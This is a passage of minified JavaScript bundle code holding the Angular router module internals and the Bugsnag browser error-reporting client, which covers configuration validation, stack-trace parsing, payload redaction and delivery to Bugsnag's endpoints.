$?(this.store[this.lastId]=this.viewportScroller.getScrollPosition(),this.lastSource=t.navigationTrigger,this.restoredId=t.restoredState?t.restoredState.navigationId:0):t instanceof z&&(this.lastId=t.id,this.scheduleScrollEvent(t,this.router.parseUrl(t.urlAfterRedirects).fragment))})}consumeScrollEvents(){return this.router.events.subscribe(t=>{t instanceof at&&(t.position?"top"===this.options.scrollPositionRestoration?this.viewportScroller.scrollToPosition([0,0]):"enabled"===this.options.scrollPositionRestoration&&this.viewportScroller.scrollToPosition(t.position):t.anchor&&"enabled"===this.options.anchorScrolling?this.viewportScroller.scrollToAnchor(t.anchor):"disabled"!==this.options.scrollPositionRestoration&&this.viewportScroller.scrollToPosition([0,0]))})}scheduleScrollEvent(t,e){this.router.triggerEvent(new at(t,"popstate"===this.lastSource?this.store[this.restoredId]:null,e))}ngOnDestroy(){this.routerEventsSubscription&&this.routerEventsSubscription.unsubscribe(),this.scrollEventsSubscription&&this.scrollEventsSubscription.unsubscribe()}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(xn),s.LFG(i.EM),s.LFG(void 0))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t})();const Pn=new s.OlP("ROUTER_CONFIGURATION"),Nn=new s.OlP("ROUTER_FORROOT_GUARD"),Dn=[i.Ye,{provide:Ot,useClass:Rt},{provide:xn,useFactory:function(t,e,n,i,s,r,o,a={},c,l){const u=new xn(null,t,e,n,i,s,r,gt(o));return c&&(u.urlHandlingStrategy=c),l&&(u.routeReuseStrategy=l),function(t,e){t.errorHandler&&(e.errorHandler=t.errorHandler),t.malformedUriErrorHandler&&(e.malformedUriErrorHandler=t.malformedUriErrorHandler),t.onSameUrlNavigation&&(e.onSameUrlNavigation=t.onSameUrlNavigation),t.paramsInheritanceStrategy&&(e.paramsInheritanceStrategy=t.paramsInheritanceStrategy),t.relativeLinkResolution&&(e.relativeLinkResolution=t.relativeLinkResolution),t.urlUpdateStrategy&&(e.urlUpdateStrategy=t.urlUpdateStrategy)}(a,u),a.enableTracing&&u.events.subscribe(t=>{var e,n;null===(e=console.group)||void 0===e||e.call(console,`Router Event: ${t.constructor.name}`),console.log(t.toString()),console.log(t),null===(n=console.groupEnd)||void 0===n||n.call(console)}),u},deps:[Ot,mn,i.Ye,s.zs3,s.v3s,s.Sil,dn,Pn,[class{},new s.FiY],[class{},new s.FiY]]},mn,{provide:Xt,useFactory:function(t){return t.routerState.root},deps:[xn]},{provide:s.v3s,useClass:s.EAV},On,In,class{preload(t,e){return e().pipe((0,U.K)(()=>(0,a.of)(null)))}},{provide:Pn,useValue:{enableTracing:!1}}];function Ln(){return new s.PXZ("Router",xn)}let Mn=(()=>{class t{constructor(t,e){}static forRoot(e,n){return{ngModule:t,providers:[Dn,jn(e),{provide:Nn,useFactory:Bn,deps:[[xn,new s.FiY,new s.tp0]]},{provide:Pn,useValue:n||{}},{provide:i.S$,useFactory:Un,deps:[i.lw,[new s.tBr(i.mr),new s.FiY],Pn]},{provide:Rn,useFactory:Fn,deps:[xn,i.EM,Pn]},{provide:An,useExisting:n&&n.preloadingStrategy?n.preloadingStrategy:In},{provide:s.PXZ,multi:!0,useFactory:Ln},[Hn,{provide:s.ip1,multi:!0,useFactory:Vn,deps:[Hn]},{provide:Yn,useFactory:Gn,deps:[Hn]},{provide:s.tb,multi:!0,useExisting:Yn}]]}}static forChild(e){return{ngModule:t,providers:[jn(e)]}}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(Nn,8),s.LFG(xn,8))},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({}),t})();function Fn(t,e,n){return n.scrollOffset&&e.setOffset(n.scrollOffset),new Rn(t,e,n)}function Un(t,e,n={}){return n.useHash?new i.Do(t,e):new i.b0(t,e)}function Bn(t){return"guarded"}function jn(t){return[{provide:s.deG,multi:!0,useValue:t},{provide:dn,multi:!0,useValue:t}]}let Hn=(()=>{class t{constructor(t){this.injector=t,this.initNavigation=!1,this.destroyed=!1,this.resultOfPreactivationDone=new m.xQ}appInitializer(){return this.injector.get(i.V_,Promise.resolve(null)).then(()=>{if(this.destroyed)return Promise.resolve(!0);let t=null;const e=new Promise(e=>t=e),n=this.injector.get(xn),i=this.injector.get(Pn);return"disabled"===i.initialNavigation?(n.setUpLocationChangeListener(),t(!0)):"enabled"===i.initialNavigation||"enabledBlocking"===i.initialNavigation?(n.hooks.afterPreactivation=()=>this.initNavigation?(0,a.of)(null):(this.initNavigation=!0,t(!0),this.resultOfPreactivationDone),n.initialNavigation()):t(!0),e})}bootstrapListener(t){const e=this.injector.get(Pn),n=this.injector.get(On),i=this.injector.get(Rn),r=this.injector.get(xn),o=this.injector.get(s.z2F);t===o.components[0]&&(("enabledNonBlocking"===e.initialNavigation||void 0===e.initialNavigation)&&r.initialNavigation(),n.setUpPreloading(),i.init(),r.resetRootComponentType(o.componentTypes[0]),this.resultOfPreactivationDone.next(null),this.resultOfPreactivationDone.complete())}ngOnDestroy(){this.destroyed=!0}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(s.zs3))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t})();function Vn(t){return t.appInitializer.bind(t)}function Gn(t){return t.bootstrapListener.bind(t)}const Yn=new s.OlP("Router Initializer")},52683:function(t){t.exports=function(){var t=["navigation","request","process","log","user","state","error","manual"],e=function(t,e,n){for(var i=n,s=0,r=t.length;s<r;s++)i=e(i,t[s],s,t);return i},n=function(t,n){return e(t,function(t,e,i,s){return n(e,i,s)?t.concat(e):t},[])},i=function(t,n){return e(t,function(t,e,i,s){return!0===t||e===n},!1)},s=function(t){return"[object Array]"===Object.prototype.toString.call(t)},r=!{toString:null}.propertyIsEnumerable("toString"),o=["toString","toLocaleString","valueOf","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","constructor"],a=function(t){var e,n=[];for(e in t)Object.prototype.hasOwnProperty.call(t,e)&&n.push(e);if(!r)return n;for(var i=0,s=o.length;i<s;i++)Object.prototype.hasOwnProperty.call(t,o[i])&&n.push(o[i]);return n},c=function(t,e){return void 0===t&&(t=1),void 0===e&&(e=1/0),function(n){return"number"==typeof n&&parseInt(""+n,10)===n&&n>=t&&n<=e}},l=function(t){return"function"==typeof t||s(t)&&n(t,function(t){return"function"==typeof t}).length===t.length},u=function(t){return"string"==typeof t&&!!t.length},h={};h.schema={apiKey:{defaultValue:function(){return null},message:"is required",validate:u},appVersion:{defaultValue:function(){},message:"should be a string",validate:function(t){return void 0===t||u(t)}},appType:{defaultValue:function(){},message:"should be a string",validate:function(t){return void 0===t||u(t)}},autoDetectErrors:{defaultValue:function(){return!0},message:"should be true|false",validate:function(t){return!0===t||!1===t}},enabledErrorTypes:{defaultValue:function(){return{unhandledExceptions:!0,unhandledRejections:!0}},message:"should be an object containing the flags { unhandledExceptions:true|false, unhandledRejections:true|false }",allowPartialObject:!0,validate:function(t){if("object"!=typeof t||!t)return!1;var e=a(t),s=a({unhandledExceptions:!0,unhandledRejections:!0});return!(n(e,function(t){return i(s,t)}).length<e.length||n(a(t),function(e){return"boolean"!=typeof t[e]}).length>0)}},onError:{defaultValue:function(){return[]},message:"should be a function or array of functions",validate:l},onSession:{defaultValue:function(){return[]},message:"should be a function or array of functions",validate:l},onBreadcrumb:{defaultValue:function(){return[]},message:"should be a function or array of functions",validate:l},endpoints:{defaultValue:function(){return{notify:"https://notify.bugsnag.com",sessions:"https://sessions.bugsnag.com"}},message:"should be an object containing endpoint URLs { notify, sessions }",validate:function(t){return t&&"object"==typeof t&&u(t.notify)&&u(t.sessions)&&0===n(a(t),function(t){return!i(["notify","sessions"],t)}).length}},autoTrackSessions:{defaultValue:function(t){return!0},message:"should be true|false",validate:function(t){return!0===t||!1===t}},enabledReleaseStages:{defaultValue:function(){return null},message:"should be an array of strings",validate:function(t){return null===t||s(t)&&n(t,function(t){return"string"==typeof t}).length===t.length}},releaseStage:{defaultValue:function(){return"production"},message:"should be a string",validate:function(t){return"string"==typeof t&&t.length}},maxBreadcrumbs:{defaultValue:function(){return 25},message:"should be a number \u2264100",validate:function(t){return c(0,100)(t)}},enabledBreadcrumbTypes:{defaultValue:function(){return t},message:"should be null or a list of available breadcrumb types ("+t.join(",")+")",validate:function(n){return null===n||s(n)&&e(n,function(e,n){return!1===e?e:i(t,n)},!0)}},context:{defaultValue:function(){},message:"should be a string",validate:function(t){return void 0===t||"string"==typeof t}},user:{defaultValue:function(){return{}},message:"should be an object with { id, email, name } properties",validate:function(t){return null===t||t&&e(a(t),function(t,e){return t&&i(["id","email","name"],e)},!0)}},metadata:{defaultValue:function(){return{}},message:"should be an object",validate:function(t){return"object"==typeof t&&null!==t}},logger:{defaultValue:function(){},message:"should be null or an object with methods { debug, info, warn, error }",validate:function(t){return!t||t&&e(["debug","info","warn","error"],function(e,n){return e&&"function"==typeof t[n]},!0)}},redactedKeys:{defaultValue:function(){return["password"]},message:"should be an array of strings|regexes",validate:function(t){return s(t)&&t.length===n(t,function(t){return"string"==typeof t||t&&"function"==typeof t.test}).length}},plugins:{defaultValue:function(){return[]},message:"should be an array of plugin objects",validate:function(t){return s(t)&&t.length===n(t,function(t){return t&&"object"==typeof t&&"function"==typeof t.load}).length}}};var d=function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t},p=function(t,n){return e(t,function(t,e,i,s){return t.concat(n(e,i,s))},[])};function f(){return(f=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}var m=h.schema,g={releaseStage:d({},m.releaseStage,{defaultValue:function(){return/^localhost(:\d+)?$/.test(window.location.host)?"development":"production"}}),appType:f({},m.appType,{defaultValue:function(){return"browser"}}),logger:d({},m.logger,{defaultValue:function(){return"undefined"!=typeof console&&"function"==typeof console.debug?_():void 0}})},_=function(){var t={},e=console.log;return p(["debug","info","warn","error"],function(n){var i=console[n];t[n]="function"==typeof i?i.bind(console,"[bugsnag]"):e.bind(console,"[bugsnag]")}),t},v=function(){function t(t,e,n,i){void 0===i&&(i=new Date),this.type=n,this.message=t,this.metadata=e,this.timestamp=i}return t.prototype.toJSON=function(){return{type:this.type,name:this.message,timestamp:this.timestamp,metaData:this.metadata}},t}(),b={};!function(t,e){"use strict";"object"==typeof b?b=e():t.StackFrame=e()}(this,function(){"use strict";function t(t){return!isNaN(parseFloat(t))&&isFinite(t)}function e(t){return t.charAt(0).toUpperCase()+t.substring(1)}function n(t){return function(){return this[t]}}var i=["isConstructor","isEval","isNative","isToplevel"],s=["columnNumber","lineNumber"],r=["fileName","functionName","source"],o=i.concat(s,r,["args"]);function a(t){if(t instanceof Object)for(var n=0;n<o.length;n++)t.hasOwnProperty(o[n])&&void 0!==t[o[n]]&&this["set"+e(o[n])](t[o[n]])}a.prototype={getArgs:function(){return this.args},setArgs:function(t){if("[object Array]"!==Object.prototype.toString.call(t))throw new TypeError("Args must be an Array");this.args=t},getEvalOrigin:function(){return this.evalOrigin},setEvalOrigin:function(t){if(t instanceof a)this.evalOrigin=t;else{if(!(t instanceof Object))throw new TypeError("Eval Origin must be an Object or StackFrame");this.evalOrigin=new a(t)}},toString:function(){return(this.getFunctionName()||"{anonymous}")+"("+(this.getArgs()||[]).join(",")+")"+(this.getFileName()?"@"+this.getFileName():"")+(t(this.getLineNumber())?":"+this.getLineNumber():"")+(t(this.getColumnNumber())?":"+this.getColumnNumber():"")}};for(var c=0;c<i.length;c++)a.prototype["get"+e(i[c])]=n(i[c]),a.prototype["set"+e(i[c])]=function(t){return function(e){this[t]=Boolean(e)}}(i[c]);for(var l=0;l<s.length;l++)a.prototype["get"+e(s[l])]=n(s[l]),a.prototype["set"+e(s[l])]=function(e){return function(n){if(!t(n))throw new TypeError(e+" must be a Number");this[e]=Number(n)}}(s[l]);for(var u=0;u<r.length;u++)a.prototype["get"+e(r[u])]=n(r[u]),a.prototype["set"+e(r[u])]=function(t){return function(e){this[t]=String(e)}}(r[u]);return a});var y={};!function(t,e){"use strict";"object"==typeof y?y=e(b):t.ErrorStackParser=e(t.StackFrame)}(this,function(t){"use strict";var e=/(^|@)\S+\:\d+/,n=/^\s*at .*(\S+\:\d+|\(native\))/m,i=/^(eval@)?(\[native code\])?$/;return{parse:function(t){if(void 0!==t.stacktrace||void 0!==t["opera#sourceloc"])return this.parseOpera(t);if(t.stack&&t.stack.match(n))return this.parseV8OrIE(t);if(t.stack)return this.parseFFOrSafari(t);throw new Error("Cannot parse given Error object")},extractLocation:function(t){if(-1===t.indexOf(":"))return[t];var e=/(.+?)(?:\:(\d+))?(?:\:(\d+))?$/.exec(t.replace(/[\(\)]/g,""));return[e[1],e[2]||void 0,e[3]||void 0]},parseV8OrIE:function(e){return e.stack.split("\n").filter(function(t){return!!t.match(n)},this).map(function(e){e.indexOf("(eval ")>-1&&(e=e.replace(/eval code/g,"eval").replace(/(\(eval at [^\()]*)|(\)\,.*$)/g,""));var n=e.replace(/^\s+/,"").replace(/\(eval code/g,"("),i=n.match(/ (\((.+):(\d+):(\d+)\)$)/),s=(n=i?n.replace(i[0],""):n).split(/\s+/).slice(1),r=this.extractLocation(i?i[1]:s.pop()),o=s.join(" ")||void 0,a=["eval","<anonymous>"].indexOf(r[0])>-1?void 0:r[0];return new t({functionName:o,fileName:a,lineNumber:r[1],columnNumber:r[2],source:e})},this)},parseFFOrSafari:function(e){return e.stack.split("\n").filter(function(t){return!t.match(i)},this).map(function(e){if(e.indexOf(" > eval")>-1&&(e=e.replace(/ line (\d+)(?: > eval line \d+)* > eval\:\d+\:\d+/g,":$1")),-1===e.indexOf("@")&&-1===e.indexOf(":"))return new t({functionName:e});var n=/((.*".+"[^@]*)?[^@]*)(?:@)/,i=e.match(n),s=i&&i[1]?i[1]:void 0,r=this.extractLocation(e.replace(n,""));return new t({functionName:s,fileName:r[0],lineNumber:r[1],columnNumber:r[2],source:e})},this)},parseOpera:function(t){return!t.stacktrace||t.message.indexOf("\n")>-1&&t.message.split("\n").length>t.stacktrace.split("\n").length?this.parseOpera9(t):t.stack?this.parseOpera11(t):this.parseOpera10(t)},parseOpera9:function(e){for(var n=/Line (\d+).*script (?:in )?(\S+)/i,i=e.message.split("\n"),s=[],r=2,o=i.length;r<o;r+=2){var a=n.exec(i[r]);a&&s.push(new t({fileName:a[2],lineNumber:a[1],source:i[r]}))}return s},parseOpera10:function(e){for(var n=/Line (\d+).*script (?:in )?(\S+)(?:: In function (\S+))?$/i,i=e.stacktrace.split("\n"),s=[],r=0,o=i.length;r<o;r+=2){var a=n.exec(i[r]);a&&s.push(new t({functionName:a[3]||void 0,fileName:a[2],lineNumber:a[1],source:i[r]}))}return s},parseOpera11:function(n){return n.stack.split("\n").filter(function(t){return!!t.match(e)&&!t.match(/^Error created at/)},this).map(function(e){var n,i=e.split("@"),s=this.extractLocation(i.pop()),r=i.shift()||"",o=r.replace(/<anonymous function(: (\w+))?>/,"$2").replace(/\([^\)]*\)/g,"")||void 0;r.match(/\(([^\)]*)\)/)&&(n=r.replace(/^[^\(]+\(([^\)]*)\)$/,"$1"));var a=void 0===n||"[arguments not available]"===n?void 0:n.split(",");return new t({functionName:o,args:a,fileName:s[0],lineNumber:s[1],columnNumber:s[2],source:e})},this)}}});var w=y,x=function(t){return!(!t||!t.stack&&!t.stacktrace&&!t["opera#sourceloc"]||"string"!=typeof(t.stack||t.stacktrace||t["opera#sourceloc"])||t.stack===t.name+": "+t.message)};var C=function(t){switch(Object.prototype.toString.call(t)){case"[object Error]":case"[object Exception]":case"[object DOMException]":return!0;default:return t instanceof Error}},S=function(t,e,n){if("string"==typeof e){if(!n)return void delete t[e];t[e]&&delete t[e][n]}},E={add:function(t,e,n,i){var s;if(e){var r;if(null===n)return S(t,e);"object"==typeof n&&(r=n),"string"==typeof n&&((s={})[n]=i,r=s),r&&(t[e]||(t[e]={}),t[e]=d({},t[e],r))}},get:function(t,e,n){if("string"==typeof e){if(!n)return t[e];if(t[e])return t[e][n]}},clear:S},k={};!function(t,e){"use strict";"object"==typeof k?k=e(b):t.StackGenerator=e(t.StackFrame)}(this,function(t){return{backtrace:function(e){var n=[],i=10;"object"==typeof e&&"number"==typeof e.maxStackSize&&(i=e.maxStackSize);for(var s=arguments.callee;s&&n.length<i&&s.arguments;){for(var r=new Array(s.arguments.length),o=0;o<r.length;++o)r[o]=s.arguments[o];/function(?:\s+([\w$]+))+\s*\(/.test(s.toString())?n.push(new t({functionName:RegExp.$1||void 0,args:r})):n.push(new t({args:r}));try{s=s.caller}catch(a){break}}return n}}});var T=function(){function t(n,i,s,r,o){void 0===s&&(s=[]),void 0===r&&(r=O()),this.apiKey=void 0,this.context=void 0,this.groupingHash=void 0,this.originalError=o,this._handledState=r,this.severity=this._handledState.severity,this.unhandled=this._handledState.unhandled,this.app={},this.device={},this.request={},this.breadcrumbs=[],this.threads=[],this._metadata={},this._user={},this._session=void 0,this.errors=[{errorClass:R(n),errorMessage:R(i),type:t.__type,stacktrace:e(s,function(t,e){var n=A(e);try{return"{}"===JSON.stringify(n)?t:t.concat(n)}catch(i){return t}},[])}]}var n=t.prototype;return n.addMetadata=function(t,e,n){return E.add(this._metadata,t,e,n)},n.getMetadata=function(t,e){return E.get(this._metadata,t,e)},n.clearMetadata=function(t,e){return E.clear(this._metadata,t,e)},n.getUser=function(){return this._user},n.setUser=function(t,e,n){this._user={id:t,email:e,name:n}},n.toJSON=function(){return{payloadVersion:"4",exceptions:p(this.errors,function(t){return d({},t,{message:t.errorMessage})}),severity:this.severity,unhandled:this._handledState.unhandled,severityReason:this._handledState.severityReason,app:this.app,device:this.device,request:this.request,breadcrumbs:this.breadcrumbs,context:this.context,groupingHash:this.groupingHash,metaData:this._metadata,user:this._user,session:this._session}},t}(),A=function(t){var e={file:t.fileName,method:I(t.functionName),lineNumber:t.lineNumber,columnNumber:t.columnNumber,code:void 0,inProject:void 0};return e.lineNumber>-1&&!e.file&&!e.method&&(e.file="global code"),e},I=function(t){return/^global code$/i.test(t)?"global code":t},O=function(){return{unhandled:!1,severity:"warning",severityReason:{type:"handledException"}}},R=function(t){return"string"==typeof t?t:""};T.getStacktrace=function(t,e,i){if(x(t))return w.parse(t).slice(e);try{return n(k.backtrace(),function(t){return-1===(t.functionName||"").indexOf("StackGenerator$$")}).slice(1+i)}catch(s){return[]}},T.create=function(t,e,n,i,s,r){void 0===s&&(s=0);var o,a=N(t,e,i,r),c=a[0],l=a[1];try{var u=T.getStacktrace(c,l>0?1+l+s:0,1+s);o=new T(c.name,c.message,u,n,t)}catch(h){o=new T(c.name,c.message,[],n,t)}return"InvalidError"===c.name&&o.addMetadata(""+i,"non-error parameter",P(t)),o};var P=function(t){return null===t?"null":void 0===t?"undefined":t},N=function(t,e,n,i){var s,r=0,o=function(t){i&&i.warn(n+' received a non-error: "'+t+'"');var e=new Error(n+' received a non-error. See "'+n+'" tab for more detail.');return e.name="InvalidError",e};if(e)switch(typeof t){case"string":case"number":case"boolean":s=new Error(String(t)),r+=1;break;case"function":s=o("function"),r+=2;break;case"object":null!==t&&C(t)?s=t:null!==t&&D(t)?((s=new Error(t.message||t.errorMessage)).name=t.name||t.errorClass,r+=1):(s=o(null===t?"null":"unsupported object"),r+=2);break;default:s=o("nothing"),r+=2}else C(t)?s=t:(s=o(typeof t),r+=2);if(!x(s))try{throw s}catch(a){x(a)&&(s=a,r=1)}return[s,r]};T.__type="browserjs";var D=function(t){return!("string"!=typeof t.name&&"string"!=typeof t.errorClass||"string"!=typeof t.message&&"string"!=typeof t.errorMessage)},L=T,M=function(t,e,n,i){for(var s=!1,r=t.slice();!s&&r.length;)try{s=!1===r.pop()(e)}catch(o){i.error("Error occurred in "+n+" callback, continuing anyway\u2026"),i.error(o)}return s},F=function(t,e){var n="000000000"+t;return n.substr(n.length-e)},U="object"==typeof window?window:self,B=0;for(var j in U)Object.hasOwnProperty.call(U,j)&&B++;var H=navigator.mimeTypes?navigator.mimeTypes.length:0,V=F((H+navigator.userAgent.length).toString(36)+B.toString(36),4),G=function(){return V},Y=0,q=Math.pow(36,4);function $(){return F((Math.random()*q<<0).toString(36),4)}function z(){return"c"+(new Date).getTime().toString(36)+F((Y=Y<q?Y:0,++Y-1).toString(36),4)+G()+($()+$())}z.fingerprint=G;var Z=z,W=function(){function t(){this.id=Z(),this.startedAt=new Date,this._handled=0,this._unhandled=0,this._user={},this.app={},this.device={}}var e=t.prototype;return e.getUser=function(){return this._user},e.setUser=function(t,e,n){this._user={id:t,email:e,name:n}},e.toJSON=function(){return{id:this.id,startedAt:this.startedAt,events:{handled:this._handled,unhandled:this._unhandled}}},e._track=function(t){this[t._handledState.unhandled?"_unhandled":"_handled"]+=1},t}(),J=function(){},Q=function(){function s(t,e,n,i){var r=this;void 0===e&&(e=h.schema),void 0===n&&(n=[]),this._notifier=i,this._config={},this._schema=e,this._delivery={sendSession:J,sendEvent:J},this._logger={debug:J,info:J,warn:J,error:J},this._plugins={},this._breadcrumbs=[],this._session=null,this._metadata={},this._context=void 0,this._user={},this._cbs={e:[],s:[],sp:[],b:[]},this.Client=s,this.Event=L,this.Breadcrumb=v,this.Session=W,this._config=this._configure(t,n),p(n.concat(this._config.plugins),function(t){t&&r._loadPlugin(t)}),this._depth=1;var o=this,a=this.notify;this.notify=function(){return a.apply(o,arguments)}}var r=s.prototype;return r.addMetadata=function(t,e,n){return E.add(this._metadata,t,e,n)},r.getMetadata=function(t,e){return E.get(this._metadata,t,e)},r.clearMetadata=function(t,e){return E.clear(this._metadata,t,e)},r.getContext=function(){return this._context},r.setContext=function(t){this._context=t},r._configure=function(t,n){var i=e(n,function(t,e){return e&&e.configSchema?d({},t,e.configSchema):t},this._schema),s=e(a(i),function(e,n){var s=i[n].defaultValue(t[n]);return void 0!==t[n]?i[n].validate(t[n])?e.config[n]=i[n].allowPartialObject?d(s,t[n]):t[n]:(e.errors[n]=i[n].message,e.config[n]=s):e.config[n]=s,e},{errors:{},config:{}}),r=s.errors,o=s.config;if(i.apiKey){if(!o.apiKey)throw new Error("No Bugsnag API Key set");/^[0-9a-f]{32}$/i.test(o.apiKey)||(r.apiKey="should be a string of 32 hexadecimal characters")}return this._metadata=d({},o.metadata),this._user=d({},o.user),this._context=o.context,o.logger&&(this._logger=o.logger),o.onError&&(this._cbs.e=this._cbs.e.concat(o.onError)),o.onBreadcrumb&&(this._cbs.b=this._cbs.b.concat(o.onBreadcrumb)),o.onSession&&(this._cbs.s=this._cbs.s.concat(o.onSession)),a(r).length&&this._logger.warn(K(r,t)),o},r.getUser=function(){return this._user},r.setUser=function(t,e,n){this._user={id:t,email:e,name:n}},r._loadPlugin=function(t){var e=t.load(this);return t.name&&(this._plugins["~"+t.name+"~"]=e),this},r.getPlugin=function(t){return this._plugins["~"+t+"~"]},r._setDelivery=function(t){this._delivery=t(this)},r.startSession=function(){var t=new W;return t.app.releaseStage=this._config.releaseStage,t.app.version=this._config.appVersion,t.app.type=this._config.appType,t._user=d({},this._user),M(this._cbs.s,t,"onSession",this._logger)?(this._logger.debug("Session not started due to onSession callback"),this):this._sessionDelegate.startSession(this,t)},r.addOnError=function(t,e){void 0===e&&(e=!1),this._cbs.e[e?"unshift":"push"](t)},r.removeOnError=function(t){this._cbs.e=n(this._cbs.e,function(e){return e!==t})},r._addOnSessionPayload=function(t){this._cbs.sp.push(t)},r.addOnSession=function(t){this._cbs.s.push(t)},r.removeOnSession=function(t){this._cbs.s=n(this._cbs.s,function(e){return e!==t})},r.addOnBreadcrumb=function(t,e){void 0===e&&(e=!1),this._cbs.b[e?"unshift":"push"](t)},r.removeOnBreadcrumb=function(t){this._cbs.b=n(this._cbs.b,function(e){return e!==t})},r.pauseSession=function(){return this._sessionDelegate.pauseSession(this)},r.resumeSession=function(){return this._sessionDelegate.resumeSession(this)},r.leaveBreadcrumb=function(e,n,s){if(e="string"==typeof e?e:"",s="string"==typeof s&&i(t,s)?s:"manual",n="object"==typeof n&&null!==n?n:{},e){var r=new v(e,n,s);if(M(this._cbs.b,r,"onBreadcrumb",this._logger))return void this._logger.debug("Breadcrumb not attached due to onBreadcrumb callback");this._breadcrumbs.push(r),this._breadcrumbs.length>this._config.maxBreadcrumbs&&(this._breadcrumbs=this._breadcrumbs.slice(this._breadcrumbs.length-this._config.maxBreadcrumbs))}},r._isBreadcrumbTypeEnabled=function(t){var e=this._config.enabledBreadcrumbTypes;return null===e||i(e,t)},r.notify=function(t,e,n){void 0===n&&(n=J);var i=L.create(t,!0,void 0,"notify()",this._depth+1,this._logger);this._notify(i,e,n)},r._notify=function(t,e,n){var r=this;if(void 0===n&&(n=J),t.app=d({},t.app,{releaseStage:this._config.releaseStage,version:this._config.appVersion,type:this._config.appType}),t.context=t.context||this._context,t._metadata=d({},t._metadata,this._metadata),t._user=d({},t._user,this._user),t.breadcrumbs=this._breadcrumbs.slice(),null!==this._config.enabledReleaseStages&&!i(this._config.enabledReleaseStages,this._config.releaseStage))return this._logger.warn("Event not sent due to releaseStage/enabledReleaseStages configuration"),n(null,t);var o=t.severity,a=function(t){r._logger.error("Error occurred in onError callback, continuing anyway\u2026"),r._logger.error(t)};!function(t,e,n,i){!function(t,e,n){var i=0,s=function(){if(i>=t.length)return n(null,!0);e(t[i],function(t,e){return t?n(t):!1===e?n(null,!1):(i++,void s())})};s()}(t,function(t,i){if("function"!=typeof t)return i(null);try{if(2!==t.length){var s=t(e);return s&&"function"==typeof s.then?s.then(function(t){return setTimeout(function(){return i(null,t)})},function(t){setTimeout(function(){return n(t),i(null,!0)})}):i(null,s)}t(e,function(t,e){if(t)return n(t),i(null);i(null,e)})}catch(a){n(a),i(null)}},i)}([].concat(this._cbs.e).concat(e),t,a,function(e,i){if(e&&a(e),!i)return r._logger.debug("Event not sent due to onError callback"),n(null,t);r._isBreadcrumbTypeEnabled("error")&&s.prototype.leaveBreadcrumb.call(r,t.errors[0].errorClass,{errorClass:t.errors[0].errorClass,errorMessage:t.errors[0].errorMessage,severity:t.severity},"error"),o!==t.severity&&(t._handledState.severityReason={type:"userCallbackSetSeverity"}),t.unhandled!==t._handledState.unhandled&&(t._handledState.severityReason.unhandledOverridden=!0,t._handledState.unhandled=t.unhandled),r._session&&(r._session._track(t),t._session=r._session),r._delivery.sendEvent({apiKey:t.apiKey||r._config.apiKey,notifier:r._notifier,events:[t]},function(e){return n(e,t)})})},s}(),K=function(t,e){return new Error("Invalid configuration\n"+p(a(t),function(n){return"  - "+n+" "+t[n]+", got "+X(e[n])}).join("\n\n"))},X=function(t){switch(typeof t){case"string":case"number":case"object":return JSON.stringify(t);default:return String(t)}},tt=Q,et=function(t,e,n,i){return JSON.stringify(function(t,e,n){var i=[],s=0;function r(t,o){function a(){return o.length>8&&s>25e3}if(s++,o.length>20||a())return nt;if(null===t||"object"!=typeof t)return t;if(function(t,e){for(var n=0,i=t.length;n<i;n++)if(t[n]===e)return!0;return!1}(i,t))return"[Circular]";if(i.push(t),"function"==typeof t.toJSON)try{s--;var c=r(t.toJSON(),o);return i.pop(),c}catch(m){return it(m)}if(function(t){return t instanceof Error||/^\[object (Error|(Dom)?Exception)\]$/.test(Object.prototype.toString.call(t))}(t)){s--;var l=r({name:t.name,message:t.message},o);return i.pop(),l}if(function(t){return"[object Array]"===Object.prototype.toString.call(t)}(t)){for(var u=[],h=0,d=t.length;h<d;h++){if(a()){u.push(nt);break}u.push(r(t[h],o.concat("[]")))}return i.pop(),u}var p={};try{for(var f in t)if(Object.prototype.hasOwnProperty.call(t,f)){if(st(n,o.join("."))&&rt(e,f)){p[f]="[REDACTED]";continue}if(a()){p[f]=nt;break}p[f]=r(ot(t,f),o.concat(f))}}catch(m){}return i.pop(),p}return r(t,[])}(t,i&&i.redactedKeys?i.redactedKeys:[],i&&i.redactedPaths?i.redactedPaths:[]),e,n)},nt="...";function it(t){return"[Throws: "+(t?t.message:"?")+"]"}function st(t,e){for(var n=0,i=t.length;n<i;n++)if(0===e.indexOf(t[n]))return!0;return!1}function rt(t,e){for(var n=0,i=t.length;n<i;n++)if("string"==typeof t[n]&&t[n].toLowerCase()===e.toLowerCase()||t[n]&&"function"==typeof t[n].test&&t[n].test(e))return!0;return!1}function ot(t,e){try{return t[e]}catch(n){return it(n)}}var at={},ct=["events.[].metaData","events.[].breadcrumbs.[].metaData","events.[].request"];at.event=function(t,e){var n=et(t,null,null,{redactedPaths:ct,redactedKeys:e});if(n.length>1e6&&(t.events[0]._metadata={notifier:"WARNING!\nSerialized payload was "+n.length/1e6+"MB (limit = 1MB)\nmetadata was removed"},(n=et(t,null,null,{redactedPaths:ct,redactedKeys:e})).length>1e6))throw new Error("payload exceeded 1MB limit");return n},at.session=function(t,e){var n=et(t,null,null);if(n.length>1e6)throw new Error("payload exceeded 1MB limit");return n};var lt;lt=function(t,e){return void 0===e&&(e=window),{sendEvent:function(n,i){void 0===i&&(i=function(){});var s=ut(t._config,"notify","4",e),r=new e.XDomainRequest;r.onload=function(){i(null)},r.open("POST",s),setTimeout(function(){try{r.send(at.event(n,t._config.redactedKeys))}catch(e){t._logger.error(e),i(e)}},0)},sendSession:function(n,i){void 0===i&&(i=function(){});var s=ut(t._config,"sessions","1",e),r=new e.XDomainRequest;r.onload=function(){i(null)},r.open("POST",s),setTimeout(function(){try{r.send(at.session(n,t._config.redactedKeys))}catch(e){t._logger.error(e),i(e)}},0)}}};var ut=function(t,e,n,i){var s=JSON.parse(JSON.stringify(new Date));return 